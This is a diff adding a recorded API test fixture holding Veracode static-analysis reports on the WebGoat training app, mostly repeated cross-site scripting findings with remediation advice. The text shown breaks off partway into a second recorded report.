+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:17 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200074'
+      Date:
+      - Tue, 27 Oct 2015 12:18:21 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:18:21 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
